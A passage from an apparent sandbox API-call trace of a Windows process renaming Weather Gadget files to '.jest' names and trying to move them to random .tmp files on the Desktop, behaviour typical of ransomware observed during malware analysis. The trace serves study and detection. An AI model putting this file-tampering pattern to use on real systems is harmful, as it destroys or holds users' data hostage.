Ed0Xhx-1rZnmsJjk7GtdW3zzMw57T-dgS370UGMReVZCBp-3Do9y3oF47K_b9y.tmp", lpFilePart=0x18e708*="f3FQ_wLiNduG83_5DdWfQDDLo5xrokg1lFzgbH Ed0Xhx-1rZnmsJjk7GtdW3zzMw57T-dgS370UGMReVZCBp-3Do9y3oF47K_b9y.tmp") returned 0x8f [0127.502] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\gadget.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\gadget.xml", lpFilePart=0x18e708*="gadget.xml") returned 0x4e [0127.503] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\en-us\\gadget.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f3FQ_wLiNduG83_5DdWfQDDLo5xrokg1lFzgbH Ed0Xhx-1rZnmsJjk7GtdW3zzMw57T-dgS370UGMReVZCBp-3Do9y3oF47K_b9y.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\f3fq_wlindug83_5ddwfqddlo5xrokg1lfzgbh ed0xhx-1rznmsjjk7gtdw3zzmw57t-dgs370ugmrevzcbp-3do9y3of47k_b9y.tmp")) returned 0 [0127.503] GetLastError () returned 0x5 [0127.503] GetLastError () returned 0x5 [0127.503] SetLastError (dwErrCode=0x5) [0127.503] GetLastError () returned 0x5 [0127.503] SetLastError (dwErrCode=0x5) [0127.503] GetLastError () returned 0x5 [0127.503] SetLastError (dwErrCode=0x5) [0127.503] GetFullPathNameA (in: lpFileName="f3FQ_wLiNduG83_5DdWfQDDLo5xrokg1lFzgbH Ed0Xhx-1rZnmsJjk7GtdW3zzMw57T-dgS370UGMReVZCBp-3Do9y3oF47K_b9y.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f3FQ_wLiNduG83_5DdWfQDDLo5xrokg1lFzgbH Ed0Xhx-1rZnmsJjk7GtdW3zzMw57T-dgS370UGMReVZCBp-3Do9y3oF47K_b9y.tmp", lpFilePart=0x18e6e4*="f3FQ_wLiNduG83_5DdWfQDDLo5xrokg1lFzgbH Ed0Xhx-1rZnmsJjk7GtdW3zzMw57T-dgS370UGMReVZCBp-3Do9y3oF47K_b9y.tmp") returned 0x8f [0127.504] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f3FQ_wLiNduG83_5DdWfQDDLo5xrokg1lFzgbH Ed0Xhx-1rZnmsJjk7GtdW3zzMw57T-dgS370UGMReVZCBp-3Do9y3oF47K_b9y.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x51463366, cFileName="_wLiNduG83_5DdWfQDDLo5xrokg1lFzgbH Ed0Xhx-1rZnmsJjk7GtdW3zzMw57T-dgS370UGMReVZCBp-3Do9y3oF47K_b9y.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.504] GetLastError () returned 0x2 [0127.504] GetLastError () returned 0x2 [0127.504] SetLastError (dwErrCode=0x2) [0127.506] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.506] GetTickCount () returned 0x11524ff [0127.506] GetTickCount () returned 0x11524ff [0127.506] CoFreeUnusedLibraries () [0127.506] GetTickCount () returned 0x11524ff [0127.506] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.506] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.506] GetTickCount () returned 0x11524ff [0127.506] IsWindowVisible (hWnd=0x30268) returned 0 [0127.506] Sleep (dwMilliseconds=0x0) [0127.508] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\settings.css" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\en-us\\css\\settings.css"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\settings.css.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\en-us\\css\\settings.css.jest")) returned 0 [0127.508] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\settings.css", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\settings.css", lpFilePart=0x18e6d8*="settings.css") returned 0x54 [0127.508] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\settings.css", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2786, dwReserved0=0x57, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 0x143ce48 [0127.508] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.508] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.509] VarBstrFromR4 (in: fltIn=0x479445af, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.37") returned 0x0 [0127.509] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.509] GetTickCount () returned 0x115250e [0127.509] GetTickCount () returned 0x115250e [0127.509] CoFreeUnusedLibraries () [0127.509] GetTickCount () returned 0x115250e [0127.510] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.510] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.510] GetTickCount () returned 0x115250e [0127.510] IsWindowVisible (hWnd=0x30268) returned 0 [0127.510] Sleep (dwMilliseconds=0x0) [0127.511] GetFullPathNameA (in: lpFileName="06iGTidBPbN5MSbF6TSt19E5g3pJZ-S3FkqH8C_izIetXFuJ_sIMtZsk-tFFfWJtCp_bBYeM0-m4EDCyd0K7hfQ-pksbollZbirj_.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\06iGTidBPbN5MSbF6TSt19E5g3pJZ-S3FkqH8C_izIetXFuJ_sIMtZsk-tFFfWJtCp_bBYeM0-m4EDCyd0K7hfQ-pksbollZbirj_.tmp", lpFilePart=0x18e708*="06iGTidBPbN5MSbF6TSt19E5g3pJZ-S3FkqH8C_izIetXFuJ_sIMtZsk-tFFfWJtCp_bBYeM0-m4EDCyd0K7hfQ-pksbollZbirj_.tmp") returned 0x8f [0127.511] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\settings.css", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\settings.css", lpFilePart=0x18e708*="settings.css") returned 0x54 [0127.511] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\settings.css" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\en-us\\css\\settings.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\06iGTidBPbN5MSbF6TSt19E5g3pJZ-S3FkqH8C_izIetXFuJ_sIMtZsk-tFFfWJtCp_bBYeM0-m4EDCyd0K7hfQ-pksbollZbirj_.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\06igtidbpbn5msbf6tst19e5g3pjz-s3fkqh8c_izietxfuj_simtzsk-tfffwjtcp_bbyem0-m4edcyd0k7hfq-pksbollzbirj_.tmp")) returned 0 [0127.512] GetLastError () returned 0x5 [0127.512] GetLastError () returned 0x5 [0127.512] SetLastError (dwErrCode=0x5) [0127.512] GetLastError () returned 0x5 [0127.512] SetLastError (dwErrCode=0x5) [0127.512] GetLastError () returned 0x5 [0127.512] SetLastError (dwErrCode=0x5) [0127.512] GetFullPathNameA (in: lpFileName="06iGTidBPbN5MSbF6TSt19E5g3pJZ-S3FkqH8C_izIetXFuJ_sIMtZsk-tFFfWJtCp_bBYeM0-m4EDCyd0K7hfQ-pksbollZbirj_.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\06iGTidBPbN5MSbF6TSt19E5g3pJZ-S3FkqH8C_izIetXFuJ_sIMtZsk-tFFfWJtCp_bBYeM0-m4EDCyd0K7hfQ-pksbollZbirj_.tmp", lpFilePart=0x18e6e4*="06iGTidBPbN5MSbF6TSt19E5g3pJZ-S3FkqH8C_izIetXFuJ_sIMtZsk-tFFfWJtCp_bBYeM0-m4EDCyd0K7hfQ-pksbollZbirj_.tmp") returned 0x8f [0127.512] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\06iGTidBPbN5MSbF6TSt19E5g3pJZ-S3FkqH8C_izIetXFuJ_sIMtZsk-tFFfWJtCp_bBYeM0-m4EDCyd0K7hfQ-pksbollZbirj_.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x47693630, cFileName="TidBPbN5MSbF6TSt19E5g3pJZ-S3FkqH8C_izIetXFuJ_sIMtZsk-tFFfWJtCp_bBYeM0-m4EDCyd0K7hfQ-pksbollZbirj_.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.512] GetLastError () returned 0x2 [0127.512] GetLastError () returned 0x2 [0127.512] SetLastError (dwErrCode=0x2) [0127.513] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.513] GetTickCount () returned 0x115250e [0127.513] GetTickCount () returned 0x115250e [0127.513] CoFreeUnusedLibraries () [0127.513] GetTickCount () returned 0x115250e [0127.513] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.513] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.513] GetTickCount () returned 0x115250e [0127.513] IsWindowVisible (hWnd=0x30268) returned 0 [0127.513] Sleep (dwMilliseconds=0x0) [0127.514] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\weather.css" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\en-us\\css\\weather.css"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\weather.css.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\en-us\\css\\weather.css.jest")) returned 0 [0127.515] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\weather.css", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\weather.css", lpFilePart=0x18e6d8*="weather.css") returned 0x53 [0127.515] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\weather.css", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x603c, dwReserved0=0x57, dwReserved1=0x0, cFileName="weather.css", cAlternateFileName="")) returned 0x143ce48 [0127.515] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.515] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7ec, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.517] VarBstrFromR4 (in: fltIn=0x479445af, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.37") returned 0x0 [0127.520] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.520] GetTickCount () returned 0x115250e [0127.520] GetTickCount () returned 0x115250e [0127.520] CoFreeUnusedLibraries () [0127.520] GetTickCount () returned 0x115250e [0127.520] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.520] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.520] GetTickCount () returned 0x115250e [0127.520] IsWindowVisible (hWnd=0x30268) returned 0 [0127.520] Sleep (dwMilliseconds=0x0) [0127.522] GetFullPathNameA (in: lpFileName="NWZvePuRZSP68Xt2f_gMYMUrs-GfRPSrg6Qwz--llutF8p p80gPSmKE8 Ac8fE3lmXZu_ yuky5gXFNkmRRVSj6oX-OCDQ4NQM.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NWZvePuRZSP68Xt2f_gMYMUrs-GfRPSrg6Qwz--llutF8p p80gPSmKE8 Ac8fE3lmXZu_ yuky5gXFNkmRRVSj6oX-OCDQ4NQM.tmp", lpFilePart=0x18e708*="NWZvePuRZSP68Xt2f_gMYMUrs-GfRPSrg6Qwz--llutF8p p80gPSmKE8 Ac8fE3lmXZu_ yuky5gXFNkmRRVSj6oX-OCDQ4NQM.tmp") returned 0x8d [0127.523] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\weather.css", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\weather.css", lpFilePart=0x18e708*="weather.css") returned 0x53 [0127.523] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\weather.css" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\en-us\\css\\weather.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NWZvePuRZSP68Xt2f_gMYMUrs-GfRPSrg6Qwz--llutF8p p80gPSmKE8 Ac8fE3lmXZu_ yuky5gXFNkmRRVSj6oX-OCDQ4NQM.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nwzvepurzsp68xt2f_gmymurs-gfrpsrg6qwz--llutf8p p80gpsmke8 ac8fe3lmxzu_ yuky5gxfnkmrrvsj6ox-ocdq4nqm.tmp")) returned 0 [0127.523] GetLastError () returned 0x5 [0127.524] GetLastError () returned 0x5 [0127.524] SetLastError (dwErrCode=0x5) [0127.524] GetLastError () returned 0x5 [0127.524] SetLastError (dwErrCode=0x5) [0127.524] GetLastError () returned 0x5 [0127.524] SetLastError (dwErrCode=0x5) [0127.524] GetFullPathNameA (in: lpFileName="NWZvePuRZSP68Xt2f_gMYMUrs-GfRPSrg6Qwz--llutF8p p80gPSmKE8 Ac8fE3lmXZu_ yuky5gXFNkmRRVSj6oX-OCDQ4NQM.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NWZvePuRZSP68Xt2f_gMYMUrs-GfRPSrg6Qwz--llutF8p p80gPSmKE8 Ac8fE3lmXZu_ yuky5gXFNkmRRVSj6oX-OCDQ4NQM.tmp", lpFilePart=0x18e6e4*="NWZvePuRZSP68Xt2f_gMYMUrs-GfRPSrg6Qwz--llutF8p p80gPSmKE8 Ac8fE3lmXZu_ yuky5gXFNkmRRVSj6oX-OCDQ4NQM.tmp") returned 0x8d [0127.524] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NWZvePuRZSP68Xt2f_gMYMUrs-GfRPSrg6Qwz--llutF8p p80gPSmKE8 Ac8fE3lmXZu_ yuky5gXFNkmRRVSj6oX-OCDQ4NQM.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x765a574e, cFileName="ePuRZSP68Xt2f_gMYMUrs-GfRPSrg6Qwz--llutF8p p80gPSmKE8 Ac8fE3lmXZu_ yuky5gXFNkmRRVSj6oX-OCDQ4NQM.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.524] GetLastError () returned 0x2 [0127.524] GetLastError () returned 0x2 [0127.524] SetLastError (dwErrCode=0x2) [0127.529] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.529] GetTickCount () returned 0x115251e [0127.529] GetTickCount () returned 0x115251e [0127.529] CoFreeUnusedLibraries () [0127.529] GetTickCount () returned 0x115251e [0127.529] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.529] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.529] GetTickCount () returned 0x115251e [0127.529] IsWindowVisible (hWnd=0x30268) returned 0 [0127.529] Sleep (dwMilliseconds=0x0) [0127.530] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\47.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\47.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\47.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\47.png.jest")) returned 0 [0127.533] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\47.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\47.png", lpFilePart=0x18e6d8*="47.png") returned 0x4b [0127.533] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\47.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc4117b7, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc4117b7, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd81691c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x57, dwReserved1=0x0, cFileName="47.png", cAlternateFileName="")) returned 0x143ce48 [0127.534] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.535] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x142fffc, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.535] VarBstrFromR4 (in: fltIn=0x479445b2, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.39") returned 0x0 [0127.535] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.536] GetTickCount () returned 0x115251e [0127.536] GetTickCount () returned 0x115251e [0127.536] CoFreeUnusedLibraries () [0127.536] GetTickCount () returned 0x115251e [0127.536] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.536] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.536] GetTickCount () returned 0x115251e [0127.536] IsWindowVisible (hWnd=0x30268) returned 0 [0127.536] Sleep (dwMilliseconds=0x0) [0127.537] GetFullPathNameA (in: lpFileName="4MO Er6wKJ_CQAlJQ 6g5rzV7FjcWtzwbr5uX7YsCr8tKPO-i5qInZ0NWOQOV0IERx3PgrinZjVMhMgQyAOLU7m2hbuEp6Op0Wvw3.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4MO Er6wKJ_CQAlJQ 6g5rzV7FjcWtzwbr5uX7YsCr8tKPO-i5qInZ0NWOQOV0IERx3PgrinZjVMhMgQyAOLU7m2hbuEp6Op0Wvw3.tmp", lpFilePart=0x18e708*="4MO Er6wKJ_CQAlJQ 6g5rzV7FjcWtzwbr5uX7YsCr8tKPO-i5qInZ0NWOQOV0IERx3PgrinZjVMhMgQyAOLU7m2hbuEp6Op0Wvw3.tmp") returned 0x8f [0127.537] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\47.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\47.png", lpFilePart=0x18e708*="47.png") returned 0x4b [0127.537] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\47.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\47.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4MO Er6wKJ_CQAlJQ 6g5rzV7FjcWtzwbr5uX7YsCr8tKPO-i5qInZ0NWOQOV0IERx3PgrinZjVMhMgQyAOLU7m2hbuEp6Op0Wvw3.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\4mo er6wkj_cqaljq 6g5rzv7fjcwtzwbr5ux7yscr8tkpo-i5qinz0nwoqov0ierx3pgrinzjvmhmgqyaolu7m2hbuep6op0wvw3.tmp")) returned 0 [0127.558] GetLastError () returned 0x5 [0127.558] GetLastError () returned 0x5 [0127.558] SetLastError (dwErrCode=0x5) [0127.558] GetLastError () returned 0x5 [0127.558] SetLastError (dwErrCode=0x5) [0127.558] GetLastError () returned 0x5 [0127.558] SetLastError (dwErrCode=0x5) [0127.558] GetFullPathNameA (in: lpFileName="4MO Er6wKJ_CQAlJQ 6g5rzV7FjcWtzwbr5uX7YsCr8tKPO-i5qInZ0NWOQOV0IERx3PgrinZjVMhMgQyAOLU7m2hbuEp6Op0Wvw3.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4MO Er6wKJ_CQAlJQ 6g5rzV7FjcWtzwbr5uX7YsCr8tKPO-i5qInZ0NWOQOV0IERx3PgrinZjVMhMgQyAOLU7m2hbuEp6Op0Wvw3.tmp", lpFilePart=0x18e6e4*="4MO Er6wKJ_CQAlJQ 6g5rzV7FjcWtzwbr5uX7YsCr8tKPO-i5qInZ0NWOQOV0IERx3PgrinZjVMhMgQyAOLU7m2hbuEp6Op0Wvw3.tmp") returned 0x8f [0127.558] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4MO Er6wKJ_CQAlJQ 6g5rzV7FjcWtzwbr5uX7YsCr8tKPO-i5qInZ0NWOQOV0IERx3PgrinZjVMhMgQyAOLU7m2hbuEp6Op0Wvw3.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x204f4d34, cFileName="Er6wKJ_CQAlJQ 6g5rzV7FjcWtzwbr5uX7YsCr8tKPO-i5qInZ0NWOQOV0IERx3PgrinZjVMhMgQyAOLU7m2hbuEp6Op0Wvw3.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.559] GetLastError () returned 0x2 [0127.559] GetLastError () returned 0x2 [0127.559] SetLastError (dwErrCode=0x2) [0127.559] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.559] GetTickCount () returned 0x115253d [0127.559] GetTickCount () returned 0x115253d [0127.559] CoFreeUnusedLibraries () [0127.559] GetTickCount () returned 0x115253d [0127.559] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.559] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.559] GetTickCount () returned 0x115253d [0127.559] IsWindowVisible (hWnd=0x30268) returned 0 [0127.559] Sleep (dwMilliseconds=0x0) [0127.560] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\4.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\4.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\4.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\4.png.jest")) returned 0 [0127.564] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\4.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows 